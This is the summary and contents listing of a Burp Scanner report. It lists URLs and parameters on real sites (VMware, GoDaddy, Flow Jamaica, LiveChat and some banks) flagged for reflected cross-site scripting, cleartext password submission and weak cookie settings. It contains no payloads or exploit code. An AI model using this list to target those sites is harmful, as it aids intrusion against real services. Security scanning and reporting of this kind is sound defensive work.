Burp Scanner Report

Summary

The table below shows the numbers of issues identified in different categories. Issues are classified according to severity as High, Medium, Low or Information. This reflects the likely impact of each issue for a typical organization. Issues are also classified according to confidence as Certain, Firm or Tentative. This reflects the inherent reliability of the technique that was used to identify the issue.

    Confidence
    Certain Firm Tentative Total
Severity High 235 6 0 241
Medium 0 25 1 26
Low 216 63 3 282
Information 769 12 1 782

The chart below shows the aggregated numbers of issues identified in each category. Solid colored bars represent issues with a confidence level of Certain, and the bars fade as the confidence level falls.

    Number of issues
    0 50 100 150 200 250 300
Severity High
 
Medium
 
Low
 

Contents

1. Cross-site scripting (reflected)

1.1. http://877geeksonsite.com/locations/states/virginia-va/wireless-networks [REST URL parameter 3]

1.2. http://877geeksonsite.com/locations/states/virginia-va/wireless-networks [REST URL parameter 4]

1.3. http://adomas.org/javascript-mouse-wheel/ [REST URL parameter 1]

1.4. http://adomas.org/javascript-mouse-wheel/ [name of an arbitrarily supplied request parameter]

1.5. https://auctions.godaddy.com/ [Referer HTTP header]

1.6. https://auctions.godaddy.com/ [isc parameter]

1.7. http://chat1e.livechatinc.com/licence/1044091/script_data.js [REST URL parameter 2]

1.8. http://chat1e.livechatinc.com/licence/1044091/script_data.js [jsonp parameter]

1.9. http://chat1e.livechatinc.com/licence/1044091/script_data.js [name of an arbitrarily supplied request parameter]

1.10. http://content.webcollage.net/supremecomputingservicesco/showcase [name of an arbitrarily supplied request parameter]

1.11. http://content.webcollage.net/supremecomputingservicesco/showcase [showcase parameter]

1.12. http://gis2.livechatinc.com/gis.cgi [REST URL parameter 1]

1.13. http://gis2.livechatinc.com/gis.cgi [jsonp parameter]

1.14. http://googleads.g.doubleclick.net/apps/domainpark/domainpark.cgi [s parameter]

1.15. https://my.vmware.com/web/vmware/evalcenter [name of an arbitrarily supplied request parameter]

1.16. https://my.vmware.com/web/vmware/evalcenter [source parameter]

1.17. https://myaccount.flowja.com/ [name of an arbitrarily supplied request parameter]

1.18. https://myaccount.flowja.com/ [user_accno parameter]

1.19. https://myaccount.flowja.com/ [user_emailAddress parameter]

1.20. https://myaccount.flowja.com/ [user_emailAddress2 parameter]

1.21. https://myaccount.flowja.com/ [user_first parameter]

1.22. https://myaccount.flowja.com/ [user_last parameter]

1.23. http://mylearn.vmware.com/ilearn/MgrReg/faq.cfm [REST URL parameter 2]

1.24. http://mylearn.vmware.com/mgrreg/locations.cfm [name of an arbitrarily supplied request parameter]

1.25. http://mylearn.vmware.com/mgrreg/locations.cfm [ui parameter]

1.26. http://mylearn.vmware.com/portals/www/search/results.cfm [Search parameter]

1.27. http://mylearn.vmware.com/portals/www/search/results.cfm [category parameter]

1.28. http://mylearn.vmware.com/portals/www/search/results.cfm [deliveryType parameter]

1.29. http://mylearn.vmware.com/portals/www/search/results.cfm [filters parameter]

1.30. http://mylearn.vmware.com/portals/www/search/results.cfm [id_discount parameter]

1.31. http://mylearn.vmware.com/portals/www/search/results.cfm [menu parameter]

1.32. http://mylearn.vmware.com/portals/www/search/results.cfm [name of an arbitrarily supplied request parameter]

1.33. http://mylearn.vmware.com/portals/www/search/results.cfm [orderBy parameter]

1.34. http://mylearn.vmware.com/portals/www/search/results.cfm [pID parameter]

1.35. http://mylearn.vmware.com/portals/www/search/results.cfm [searchtype parameter]

1.36. http://mylearn.vmware.com/portals/www/search/results.cfm [ui parameter]

1.37. https://mylearn.vmware.com/portals/www/search/results.cfm [Search parameter]

1.38. https://mylearn.vmware.com/portals/www/search/results.cfm [category parameter]

1.39. https://mylearn.vmware.com/portals/www/search/results.cfm [menu parameter]

1.40. https://mylearn.vmware.com/portals/www/search/results.cfm [name of an arbitrarily supplied request parameter]

1.41. https://mylearn.vmware.com/portals/www/search/results.cfm [orderBy parameter]

1.42. https://mylearn.vmware.com/portals/www/search/results.cfm [pID parameter]

1.43. https://mylearn.vmware.com/portals/www/search/results.cfm [searchtype parameter]

1.44. https://mylearn.vmware.com/portals/www/search/results.cfm [ui parameter]

1.45. http://offlajn.com/ [name of an arbitrarily supplied request parameter]

1.46. http://sonspring.com/journal/clearing-floats [REST URL parameter 1]

1.47. http://sonspring.com/journal/clearing-floats [REST URL parameter 2]

1.48. http://www.aci.edu/sem/info-tech.php [referrer parameter]

1.49. http://www.educationdegreesource.com/request_form.php [ProgID parameter]

1.50. http://www.educationdegreesource.com/request_form.php [User-Agent HTTP header]

1.51. http://www.educationdegreesource.com/request_form.php [ccontent parameter]

1.52. http://www.educationdegreesource.com/request_form.php [client parameter]

1.53. http://www.educationdegreesource.com/request_form.php [cmethod parameter]

1.54. http://www.educationdegreesource.com/request_form.php [cname parameter]

1.55. http://www.educationdegreesource.com/request_form.php [csource parameter]

1.56. http://www.educationdegreesource.com/request_form.php [cterm parameter]

1.57. http://www.educationdegreesource.com/request_form.php [name of an arbitrarily supplied request parameter]

1.58. http://www.flowjamaica.com/index.php [ordering parameter]

1.59. https://www.godaddy.com/gdshop/registrar/search.asp [User-Agent HTTP header]

1.60. http://www.mathias-bank.de/ [name of an arbitrarily supplied request parameter]

1.61. http://www.vmware.com/resources/techresources/10044 [Referer HTTP header]

1.62. http://www.webveteran.com/ [Referer HTTP header]

1.63. http://www.yuiblog.com/blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified [REST URL parameter 2]

1.64. http://www.yuiblog.com/blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified [REST URL parameter 3]

1.65. http://www.yuiblog.com/blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified [REST URL parameter 4]

1.66. http://www.yuiblog.com/blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified [REST URL parameter 5]

1.67. http://www.yuiblog.com/blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified [name of an arbitrarily supplied request parameter]

2. Flash cross-domain policy

2.1. https://ajax.googleapis.com/crossdomain.xml

2.2. http://pagead2.googlesyndication.com/crossdomain.xml

3. Cleartext submission of password

3.1. http://mail.flowja.com/

3.2. http://mylearn.vmware.com/MgrReg/login.cfm

3.3. http://offlajn.com/

3.4. http://webspace.flowja.com/

3.5. http://www.australiateachers.com/

3.6. http://www.educationamerica.net/

3.7. http://www.educationcanada.com/

3.8. http://www.educationjobfairs.com/

3.9. http://www.flowja.com/cgi-bin/bmui.cgi

3.10. http://www.supremecomputing.com/Default.aspx

3.11. http://www.supremecomputing.com/Register.aspx

3.12. http://www.supremecomputing.net/HK/Default.aspx

3.13. http://www.vmware.com/

3.14. http://www.vmware.com/a/webcasts/details/377

3.15. http://www.vmware.com/ap/

3.16. http://www.vmware.com/au/

3.17. http://www.vmware.com/ca/en/

3.18. http://www.vmware.com/cloud-computing/cloud-architecture/vcat-toolkit.html

3.19. http://www.vmware.com/cloud-computing/cloud-journey/overview.html

3.20. http://www.vmware.com/cloud-computing/private-cloud/datacenter-challenges.html

3.21. http://www.vmware.com/cloud-computing/private-cloud/how-to-build-private-cloud.html

3.22. http://www.vmware.com/cloud-computing/private-cloud/private-cloud-solutions.html

3.23. http://www.vmware.com/cloud-infrastructure/business-critical-applications.html

3.24. http://www.vmware.com/communities/content/community_terms/

3.25. http://www.vmware.com/company/

3.26. http://www.vmware.com/company/acquisitions/

3.27. http://www.vmware.com/company/briefing_center/index.html

3.28. http://www.vmware.com/company/contact/

3.29. http://www.vmware.com/company/customers/

3.30. http://www.vmware.com/company/green-at-vmware.html

3.31. http://www.vmware.com/company/leadership/

3.32. http://www.vmware.com/company/mediaresource/index.html

3.33. http://www.vmware.com/company/merchandise.html

3.34. http://www.vmware.com/company/news/articles/

3.35. http://www.vmware.com/company/news/awards.html

3.36. http://www.vmware.com/company/news/releases/

3.37. http://www.vmware.com/company/news/releases/vmw-accelerate-04-16-12.html

3.38. http://www.vmware.com/company/news/releases/vmw-cloud-foundry-041112.html

3.39. http://www.vmware.com/company/news/releases/vmw-earnings-q112.html

3.40. http://www.vmware.com/company/news/releases/vmw-myron-steves-04-17-12.html

3.41. http://www.vmware.com/company/news/releases/vmw-sliderocket-google-04-24-12.html

3.42. http://www.vmware.com/company/office_locations/

3.43. http://www.vmware.com/contact/contact_sales.html

3.44. http://www.vmware.com/end-user-computing/euc-platform.html

3.45. http://www.vmware.com/help/

3.46. http://www.vmware.com/help/accessibility.html

3.47. http://www.vmware.com/help/legal.html

3.48. http://www.vmware.com/help/privacy.html

3.49. http://www.vmware.com/jobs/

3.50. http://www.vmware.com/landing_pages/vpp/benefits.html

3.51. http://www.vmware.com/partners/

3.52. http://www.vmware.com/partners/partners.html

3.53. http://www.vmware.com/partners/programs/

3.54. http://www.vmware.com/partners/programs/corporate-resellers.html

3.55. http://www.vmware.com/partners/programs/service-provider/index.html

3.56. http://www.vmware.com/partners/programs/solution-provider/index.html

3.57. http://www.vmware.com/partners/programs/system-integrators.html

3.58. http://www.vmware.com/partners/programs/ten-reasons-to-partner-vmware.html

3.59. http://www.vmware.com/partners/programs/training-centers.html

3.60. http://www.vmware.com/partners/solution-competencies.html

3.61. http://www.vmware.com/products/

3.62. http://www.vmware.com/products/application-platform/

3.63. http://www.vmware.com/products/application-platform/vfabric-appdirector/overview.html

3.64. http://www.vmware.com/products/application-platform/vfabric-application-performance-manager/overview.html

3.65. http://www.vmware.com/products/application-platform/vfabric-data-director/overview.html

3.66. http://www.vmware.com/products/application-platform/vfabric-enterprise-ready-server/overview.html

3.67. http://www.vmware.com/products/application-platform/vfabric-gemfire/overview.html

3.68. http://www.vmware.com/products/application-platform/vfabric-hyperic/overview.html

3.69. http://www.vmware.com/products/application-platform/vfabric-rabbitmq/overview.html

3.70. http://www.vmware.com/products/application-platform/vfabric-sqlfire/overview.html

3.71. http://www.vmware.com/products/application-platform/vfabric-tcserver/overview.html

3.72. http://www.vmware.com/products/application-platform/vfabric-web-server/overview.html

3.73. http://www.vmware.com/products/application-platform/vfabric/overview.html

3.74. http://www.vmware.com/products/datacenter-virtualization/

3.75. http://www.vmware.com/products/datacenter-virtualization/it-business-management/overview.html

3.76. http://www.vmware.com/products/datacenter-virtualization/service-manager/overview.html

3.77. http://www.vmware.com/products/datacenter-virtualization/vcenter-infrastructure-navigator/overview.html

3.78. http://www.vmware.com/products/datacenter-virtualization/vcenter-operations-management/overview.html

3.79. http://www.vmware.com/products/datacenter-virtualization/vcenter-protect-update-catalog/overview.html

3.80. http://www.vmware.com/products/datacenter-virtualization/vcenter-protect/overview.html

3.81. http://www.vmware.com/products/datacenter-virtualization/vcloud-integration-manager/overview.html

3.82. http://www.vmware.com/products/datacenter-virtualization/vcloudconnector/overview.html

3.83. http://www.vmware.com/products/datacenter-virtualization/vshield-app-data-security/overview.html

3.84. http://www.vmware.com/products/datacenter-virtualization/vsphere/mid-size-and-enterprise-business/compare-editions.html

3.85. http://www.vmware.com/products/datacenter-virtualization/vsphere/mid-size-and-enterprise-business/documentation-and-training.html

3.86. http://www.vmware.com/products/datacenter-virtualization/vsphere/profile-driven-storage/overview.html

3.87. http://www.vmware.com/products/datacenter-virtualization/vsphere/vsphere-storage-appliance/overview.html

3.88. http://www.vmware.com/products/datacenter-virtualization/vsphere/vsphere-storage-drs/overview.html

3.89. http://www.vmware.com/products/desktop_virtualization/

3.90. http://www.vmware.com/products/desktop_virtualization/horizon/

3.91. http://www.vmware.com/products/desktop_virtualization/sliderocket/overview.html

3.92. http://www.vmware.com/products/smb-products.html

3.93. http://www.vmware.com/products/studio/overview.html

3.94. http://www.vmware.com/products/vcenter-server/buy.html

3.95. http://www.vmware.com/products/vcenter-server/overview.html

3.96. http://www.vmware.com/products/vsphere/esxi-and-esx/overview.html

3.97. http://www.vmware.com/products/vsphere/mid-size-and-enterprise-business/buy.html

3.98. http://www.vmware.com/products/vsphere/mid-size-and-enterprise-business/overview.html

3.99. http://www.vmware.com/products/vsphere/pricing.html

3.100. http://www.vmware.com/resources/techresources/

3.101. http://www.vmware.com/resources/techresources/10044

3.102. http://www.vmware.com/resources/techresources/user/login

3.103. http://www.vmware.com/services/

3.104. http://www.vmware.com/services/accelerate/

3.105. http://www.vmware.com/services/accelerate/accelerate-benchmarking-services.html

3.106. http://www.vmware.com/services/accelerate/it-strategy-services.html

3.107. http://www.vmware.com/services/accelerate/team.html

3.108. http://www.vmware.com/services/accelerate/transformation-readiness-services.html

3.109. http://www.vmware.com/services/consulting/

3.110. http://www.vmware.com/services/consulting/vmware-business-critical-apps-services.html

3.111. http://www.vmware.com/services/consulting/vmware-vfabric-consulting-services.html

3.112. http://www.vmware.com/services/tam/index.html

3.113. http://www.vmware.com/site_index.html

3.114. http://www.vmware.com/solutions/

3.115. http://www.vmware.com/solutions/application-platform/index.html

3.116. http://www.vmware.com/solutions/business-critical-apps/exchange/index.html

3.117. http://www.vmware.com/solutions/business-critical-apps/index.html

3.118. http://www.vmware.com/solutions/business-critical-apps/sharepoint_server/index.html

3.119. http://www.vmware.com/solutions/business-critical-apps/sql/index.html

3.120. http://www.vmware.com/solutions/cloud-solutions.html

3.121. http://www.vmware.com/solutions/company-size/enterprise/index.html

3.122. http://www.vmware.com/solutions/company-size/individuals.html

3.123. http://www.vmware.com/solutions/company-size/smb/myron-steves.html

3.124. http://www.vmware.com/solutions/datacenter/

3.125. http://www.vmware.com/solutions/datacenter/business-continuity/disaster-recovery.html

3.126. http://www.vmware.com/solutions/datacenter/cloud-security-compliance/unified-framework.html

3.127. http://www.vmware.com/solutions/datacenter/disaster-recovery-to-cloud.html

3.128. http://www.vmware.com/solutions/desktop/

3.129. http://www.vmware.com/solutions/desktop/business-process-desktop/overview.html

3.130. http://www.vmware.com/solutions/desktop/mobile-secure-desktop/overview.html

3.131. http://www.vmware.com/solutions/desktop/remote-branch/remote-branch-office.html

3.132. http://www.vmware.com/solutions/executive-resource-center/

3.133. http://www.vmware.com/solutions/industry/

3.134. http://www.vmware.com/solutions/industry/financial-services/overview.html

3.135. http://www.vmware.com/solutions/industry/healthcare/overview.html

3.136. http://www.vmware.com/solutions/industry/non-profit/overview.html

3.137. http://www.vmware.com/solutions/industry/retail/overview.html

3.138. http://www.vmware.com/solutions/partners/competencies/overview.html

3.139. http://www.vmware.com/solutions/partners/technology-partners.html

3.140. http://www.vmware.com/solutions/partners/vmware-solution-exchange.html

3.141. http://www.vmware.com/solutions/smb/how-to-buy.html

3.142. http://www.vmware.com/support/

3.143. http://www.vmware.com/support/contacts/

3.144. http://www.vmware.com/support/licensing/

3.145. http://www.vmware.com/support/policies/index/

3.146. http://www.vmware.com/support/product-support/

3.147. http://www.vmware.com/support/product-support/acquisitions/

3.148. http://www.vmware.com/support/product-support/fusion/

3.149. http://www.vmware.com/support/product-support/server.html

3.150. http://www.vmware.com/support/product-support/vcloud-director.html

3.151. http://www.vmware.com/support/product-support/vi3.html

3.152. http://www.vmware.com/support/product-support/view.html

3.153. http://www.vmware.com/support/product-support/vsphere-hypervisor.html

3.154. http://www.vmware.com/support/product-support/workstation.html

3.155. http://www.vmware.com/support/services/basic.html

3.156. http://www.vmware.com/support/services/incident.html

3.157. http://www.vmware.com/support/services/index.html

3.158. http://www.vmware.com/support/services/production.html

3.159. http://www.vmware.com/support/us_support.html

3.160. http://www.vmware.com/technical-resources/

3.161. http://www.vmware.com/technical-resources/advantages/

3.162. http://www.vmware.com/uk/

3.163. http://www.vmware.com/virtualization/

3.164. http://www.vmware.com/virtualization/green-it/greengrid.html

3.165. http://www.vmware.com/virtualization/green-it/pc.html

3.166. http://www.vmware.com/virtualization/why-choose-vmware.html

3.167. http://www.vmware.com/virtualization/why-choose-vmware/

3.168. http://www.vmware.com/virtualization/why-choose-vmware/best-virtualization-platform/virtualization-leader.html

3.169. http://www.vmware.com/virtualization/why-choose-vmware/better-security-for-your-cloud/simplified-security.html

3.170. http://www.vmware.com/virtualization/why-choose-vmware/more-choice-for-your-cloud/pragmatic-aproach.html

3.171. http://www.vmware.com/vmwarestore/

3.172. http://www.vmware.com/vmwarestore/online-partners.html

3.173. http://www.vmware.com/worldwide.html

4. Password returned in later response

5. SSL cookie without secure flag set

5.1. https://auctions.godaddy.com/

5.2. https://jm.rbttnetbank.com/

5.3. https://my.vmware.com/c/portal/logout

5.4. https://my.vmware.com/communities_rest_api/tagCloudService/tagCloud

5.5. https://my.vmware.com/html/js/barebone.jsp

5.6. https://my.vmware.com/html/portal/css.jsp

5.7. https://my.vmware.com/web/vmware/evalcenter

5.8. https://my.vmware.com/web/vmware/forgot-password

5.9. https://my.vmware.com/web/vmware/login

5.10. https://my.vmware.com/web/vmware/login-education

5.11. https://my.vmware.com/web/vmware/login-partners

5.12. https://my.vmware.com/web/vmware/registration

5.13. https://my.vmware.com/web/vmware/terms-of-use

5.14. https://myaccount.flowja.com/

5.15. https://mylearn.vmware.com/portals/www/search/results.cfm

5.16. https://mylearnssl.vmware.com/index.cfm

5.17. https://twitter.com/BrendanPaddick

5.18. https://www.godaddy.com/domains/popups/icannfee.aspx

5.19. https://www.vmware.com/resources/techresources/

5.20. https://internetbanking.firstcaribbeanbank.com/

5.21. https://my.vmware.com/

5.22. https://my.vmware.com/app/template

5.23. https://my.vmware.com/group/vmware/evalcenter

5.24. https://my.vmware.com/group/vmware/home

5.25. https://my.vmware.com/gsa/search

5.26. https://mylearnssl.vmware.com/

5.27. https://mylearnssl.vmware.com/remember.cfm

5.28. https://www.godaddy.com/gdshop/registrar/search.asp

5.29. https://www.vmware.com/a/webcasts/details/159

5.30. https://www.vmware.com/a/webcasts/details/189

5.31. https://www.vmware.com/a/webcasts/details/190

5.32. https://www.vmware.com/a/webcasts/details/201

5.33. https://www.vmware.com/a/webcasts/details/213

5.34. https://www.vmware.com/a/webcasts/details/225

5.35. https://www.vmware.com/a/webcasts/details/255

5.36. https://www.vmware.com/account/login.do

5.37. https://www.vmware.com/app/template/env.js

5.38. https://www.vmware.com/dcca2/rss/

5.39. https://www.vmware.com/download/eula/myvmware_tou.htmlf

5.40. https://www.vmware.com/go/calculator

5.41. https://www.vmware.com/go/costperappcalc

5.42. https://www.vmware.com/go/hcl

5.43. https://www.vmware.com/go/vSphereQuickStart

5.44. https://www.vmware.com/vmwarestore/vsphere_smbpurchaseoptions.html

6. Session token in URL

6.1. http://l.sharethis.com/pview

6.2. https://my.vmware.com/web/vmware/evalcenter

6.3. http://www.vmware.com/cn/

6.4. http://www.vmware.com/company/news/articles/

6.5. http://www.vmware.com/company/news/awards.html

6.6. http://www.vmware.com/fr/

7. Cookie scoped to parent domain

7.1. https://my.vmware.com/c/portal/logout

7.2. https://my.vmware.com/html/js/barebone.jsp

7.3. https://my.vmware.com/html/portal/css.jsp

7.4. https://my.vmware.com/web/vmware/evalcenter

7.5. https://my.vmware.com/web/vmware/forgot-password

7.6. https://my.vmware.com/web/vmware/login

7.7. https://my.vmware.com/web/vmware/login-education

7.8. https://my.vmware.com/web/vmware/login-partners

7.9. https://my.vmware.com/web/vmware/registration

7.10. https://my.vmware.com/web/vmware/terms-of-use

7.11. http://support.dell.com/

7.12. http://www.educationcanada.com/

7.13. http://www.jasper-da.com/google/verification_ip&client=ca-dp-godaddy2_xml

7.14. http://www.opensource.org/licenses/mit-license.php

7.15. http://www.sidera.net/services/ethernet&client=ca-dp-godaddy2_xml

7.16. http://www.trialpay.com/stores/godaddy/twodomains

7.17. http://as.casalemedia.com/sd

7.18. https://auctions.godaddy.com/

7.19. http://chat1e.livechatinc.com/licence/1044091/script_data.js

7.20. http://l.sharethis.com/pview

7.21. https://my.vmware.com/group/vmware/evalcenter

7.22. https://my.vmware.com/group/vmware/home

7.23. http://p.twitter.com/f.gif

7.24. http://sc.vmware.com/b/ss/vmwareglobal/1/H.15.1/s97368092714234

7.25. http://videos.godaddy.com/danica-media.aspx

7.26. http://videos.godaddy.com/super-bowl-commercials.aspx

7.27. http://www.columbusnetworks.co/

7.28. http://www.godaddy.com/

7.29. http://www.godaddy.com/agreements/ShowDoc.aspx

7.30. http://www.godaddy.com/domains/search.aspx

7.31. http://www.godaddy.com/ecommerce/shopping-cart.aspx

7.32. http://www.godaddy.com/email/email-hosting.aspx

7.33. http://www.godaddy.com/hosting/website-builder.aspx

7.34. http://www.godaddy.com/ssl/ssl-certificates.aspx

7.35. http://www.godaddy.com/tlds/co-domain.aspx

7.36. https://www.godaddy.com/domains/popups/icannfee.aspx

7.37. https://www.godaddy.com/gdshop/registrar/search.asp

7.38. http://www.google.com/search

7.39. http://www.vmware.com/account/secure/productRegistration.do

7.40. http://www.yuiblog.com/blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified

8. Cookie without HttpOnly flag set

8.1. http://877geeksonsite.com/locations/states/virginia-va/wireless-networks

8.2. http://communities.vmware.com/render-widget!execute.jspa

8.3. http://fancybox.net/

8.4. https://jm.rbttnetbank.com/

8.5. https://my.vmware.com/communities_rest_api/tagCloudService/tagCloud

8.6. https://myaccount.flowja.com/

8.7. http://mylearn.vmware.com/

8.8. https://mylearn.vmware.com/portals/www/search/results.cfm

8.9. https://mylearnssl.vmware.com/index.cfm

8.10. http://support.dell.com/

8.11. http://www.columbusnetworks.com/

8.12. http://www.educationcanada.com/

8.13. http://www.educationdegreesource.com/request_form.php

8.14. http://www.educationjobfairs.com/

8.15. http://www.godaddy.com/gdshop/catalog.asp

8.16. http://www.godaddy.com/gdshop/ecommerce/shopping-cart.asp

8.17. http://www.godaddy.com/gdshop/hosting/dream_website.asp

8.18. https://www.godaddy.com/gdshop/broker/landing.asp

8.19. https://www.godaddy.com/gdshop/registrar/search.asp

8.20. http://www.jasper-da.com/google/verification_ip&client=ca-dp-godaddy2_xml

8.21. http://www.mathias-bank.de/

8.22. http://www.opensource.org/licenses/mit-license.php

8.23. http://www.sidera.net/services/ethernet&client=ca-dp-godaddy2_xml

8.24. http://www.trialpay.com/stores/godaddy/twodomains

8.25. http://www.visitor-track.com/admin/loghit.asp

8.26. http://www.vmware.com/resources/techresources/

8.27. http://www.vmware.com/resources/techresources/10044

8.28. http://www.vmware.com/support/

8.29. http://www.vmware.com/support/contacts/

8.30. http://www.vmware.com/support/licensing/

8.31. http://www.vmware.com/support/policies/index/

8.32. http://www.vmware.com/support/product-support/

8.33. http://www.vmware.com/support/product-support/acquisitions/

8.34. http://www.vmware.com/support/product-support/fusion/

8.35. http://www.vmware.com/support/product-support/server.html

8.36. http://www.vmware.com/support/product-support/vcloud-director.html

8.37. http://www.vmware.com/support/product-support/vi3.html

8.38. http://www.vmware.com/support/product-support/view.html

8.39. http://www.vmware.com/support/product-support/vsphere-hypervisor.html

8.40. http://www.vmware.com/support/product-support/workstation.html

8.41. http://www.vmware.com/support/services/basic.html

8.42. http://www.vmware.com/support/services/incident.html

8.43. http://www.vmware.com/support/services/index.html

8.44. http://www.vmware.com/support/services/production.html

8.45. http://www.vmware.com/support/us_support.html

8.46. https://www.vmware.com/resources/techresources/

8.47. http://www.webveteran.com/

8.48. http://as.casalemedia.com/sd

8.49. https://auctions.godaddy.com/

8.50. http://btn.weather.ca/weatherbuttons/template5.php

8.51. http://columbuscommunications.com/

8.52. http://communities.vmware.com/home.jspa

8.53. http://d.adroll.com/pixel/MZQ42ICIPRA6FEACX4CD77/C636G5DX7RCDFD3KHO7IPL

8.54. https://internetbanking.firstcaribbeanbank.com/

8.55. http://l.sharethis.com/pview

8.56. http://mail.flowja.com/

8.57. https://my.vmware.com/

8.58. https://my.vmware.com/app/template

8.59. https://my.vmware.com/c/portal/logout

8.60. https://my.vmware.com/group/vmware/evalcenter

8.61. https://my.vmware.com/group/vmware/home

8.62. https://my.vmware.com/gsa/search

8.63. https://my.vmware.com/html/js/barebone.jsp

8.64. https://my.vmware.com/html/portal/css.jsp

8.65. https://my.vmware.com/web/vmware/evalcenter

8.66. https://my.vmware.com/web/vmware/forgot-password

8.67. https://my.vmware.com/web/vmware/login

8.68. https://my.vmware.com/web/vmware/login-education

8.69. https://my.vmware.com/web/vmware/login-partners

8.70. https://my.vmware.com/web/vmware/registration

8.71. https://my.vmware.com/web/vmware/terms-of-use

8.72. http://mylearn.vmware.com/mgrReg/plan.cfm

8.73. http://mylearn.vmware.com/portals/certification/

8.74. http://mylearn.vmware.com/portals/certification/faqs.cfm

8.75. http://mylearn.vmware.com/portals/engineering/

8.76. http://mylearn.vmware.com/portals/field/

8.77. http://mylearn.vmware.com/portals/gsssrt/

8.78. http://mylearn.vmware.com/portals/learndev/

8.79. http://mylearn.vmware.com/portals/vci/

8.80. http://mylearn.vmware.com/portals/vcp/

8.81. https://mylearnssl.vmware.com/

8.82. https://mylearnssl.vmware.com/remember.cfm

8.83. http://offlajn.com/

8.84. http://p.twitter.com/f.gif

8.85. http://rel.webcollage.net/apps/el

8.86. http://sc.vmware.com/b/ss/vmwareglobal/1/H.15.1/s97368092714234

8.87. https://twitter.com/BrendanPaddick

8.88. http://videos.godaddy.com/danica-media.aspx

8.89. http://videos.godaddy.com/super-bowl-commercials.aspx

8.90. http://www.aci.edu/sem/info-tech.php

8.91. http://www.columbus-business.com/countries/columbusjamaica/

8.92. http://www.columbusnetworks.co/

8.93. http://www.digitalia.be/

8.94. http://www.flowjamaica.com/index.php

8.95. http://www.godaddy.com/

8.96. http://www.godaddy.com/agreements/ShowDoc.aspx

8.97. http://www.godaddy.com/domains/search.aspx

8.98. http://www.godaddy.com/ecommerce/shopping-cart.aspx

8.99. http://www.godaddy.com/email/email-hosting.aspx

8.100. http://www.godaddy.com/hosting/website-builder.aspx

8.101. http://www.godaddy.com/ssl/ssl-certificates.aspx

8.102. http://www.godaddy.com/tlds/co-domain.aspx

8.103. https://www.godaddy.com/domains/popups/icannfee.aspx

8.104. http://www.google.com/calendar/embed

8.105. http://www.google.com/search

8.106. http://www.googleadservices.com/pagead/aclk

8.107. http://www.igloosoftware.com/

8.108. http://www.vmware.com/a/webcasts/details/377

8.109. http://www.vmware.com/account/secure/productRegistration.do

8.110. http://www.vmware.com/app/dcca/

8.111. http://www.vmware.com/app/template/

8.112. http://www.vmware.com/app/template/env.js

8.113. http://www.vmware.com/dcca2/html/

8.114. http://www.vmware.com/download/srm/eval.html

8.115. http://www.vmware.com/go/EvaluatevSphere

8.116. http://www.vmware.com/go/PublicCloudTrial

8.117. http://www.vmware.com/go/calculator

8.118. http://www.vmware.com/go/calculator/

8.119. http://www.vmware.com/go/collaborate

8.120. http://www.vmware.com/go/download-vi

8.121. http://www.vmware.com/go/download-vsphere

8.122. http://www.vmware.com/go/download-vspherehypervisor

8.123. http://www.vmware.com/go/download/vcloud-director

8.124. http://www.vmware.com/go/downloadfusion

8.125. http://www.vmware.com/go/downloadplayer/

8.126. http://www.vmware.com/go/downloadview

8.127. http://www.vmware.com/go/downloadworkstation

8.128. http://www.vmware.com/go/esxi-free-training/

8.129. http://www.vmware.com/go/get-free-esxi

8.130. http://www.vmware.com/go/getconverter

8.131. http://www.vmware.com/go/getserver

8.132. http://www.vmware.com/go/isvsupport

8.133. http://www.vmware.com/go/pci-checker

8.134. http://www.vmware.com/go/slesforvmware

8.135. http://www.vmware.com/go/sysadmintools

8.136. http://www.vmware.com/go/try-vcenter-capacityiq

8.137. http://www.vmware.com/go/try-vcenter-chargeback

8.138. http://www.vmware.com/go/try-vcenter-lab-manager

8.139. http://www.vmware.com/go/try-vcenter-ops

8.140. http://www.vmware.com/go/try-vcloud-director

8.141. http://www.vmware.com/go/try-vfabric-data-director

8.142. http://www.vmware.com/go/try-vfabric-gemfire

8.143. http://www.vmware.com/go/try-vfabric-hyperic

8.144. http://www.vmware.com/go/try-vfabric-tcserver

8.145. http://www.vmware.com/go/try-vshield-app

8.146. http://www.vmware.com/go/try-vshield-edge

8.147. http://www.vmware.com/go/tryfusion

8.148. http://www.vmware.com/go/tryheartbeat

8.149. http://www.vmware.com/go/trythinapp

8.150. http://www.vmware.com/go/tryworkstation

8.151. http://www.vmware.com/go/vsphere-checker

8.152. http://www.vmware.com/resources/techresources/files/login.js

8.153. http://www.vmware.com/support/product-support/vsphere.html

8.154. http://www.vmware.com/support/pubs/

8.155. http://www.vmware.com/support/pubs/vsphere-esxi-vcenter-server-pubs.html

8.156. http://www.vmware.com/support/support-resources/advisories/

8.157. http://www.vmware.com/support/support-resources/licensing/

8.158. http://www.vmware.com/support/vfabric-hyperic/doc/vfabric-hyperic-rn-4.6.5.html

8.159. http://www.vmware.com/vmwarestore/

8.160. http://www.vmware.com/vmwarestore/online-partners.html

8.161. http://www.vmware.com/vmwarestore/vsphere_smbpurchaseoptions.html

8.162. https://www.vmware.com/a/webcasts/details/159

8.163. https://www.vmware.com/a/webcasts/details/189

8.164. https://www.vmware.com/a/webcasts/details/190

8.165. https://www.vmware.com/a/webcasts/details/201

8.166. https://www.vmware.com/a/webcasts/details/213

8.167. https://www.vmware.com/a/webcasts/details/225

8.168. https://www.vmware.com/a/webcasts/details/255

8.169. https://www.vmware.com/account/login.do

8.170. https://www.vmware.com/app/template/env.js

8.171. https://www.vmware.com/dcca2/rss/

8.172. https://www.vmware.com/download/eula/myvmware_tou.htmlf

8.173. https://www.vmware.com/go/calculator

8.174. https://www.vmware.com/go/costperappcalc

8.175. https://www.vmware.com/go/hcl

8.176. https://www.vmware.com/go/vSphereQuickStart

8.177. https://www.vmware.com/vmwarestore/vsphere_smbpurchaseoptions.html

8.178. http://www.yuiblog.com/blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified

9. Password field with autocomplete enabled

9.1. https://63.209.224.2/cgi-bin/webcgi/login

9.2. https://auctions.godaddy.com/

9.3. https://auctions.godaddy.com/

9.4. http://mail.flowja.com/

9.5. https://my.vmware.com/web/vmware/evalcenter

9.6. https://my.vmware.com/web/vmware/login

9.7. https://my.vmware.com/web/vmware/login-education

9.8. https://my.vmware.com/web/vmware/login-partners

9.9. https://my.vmware.com/web/vmware/registration

9.10. https://myaccount.flowja.com/

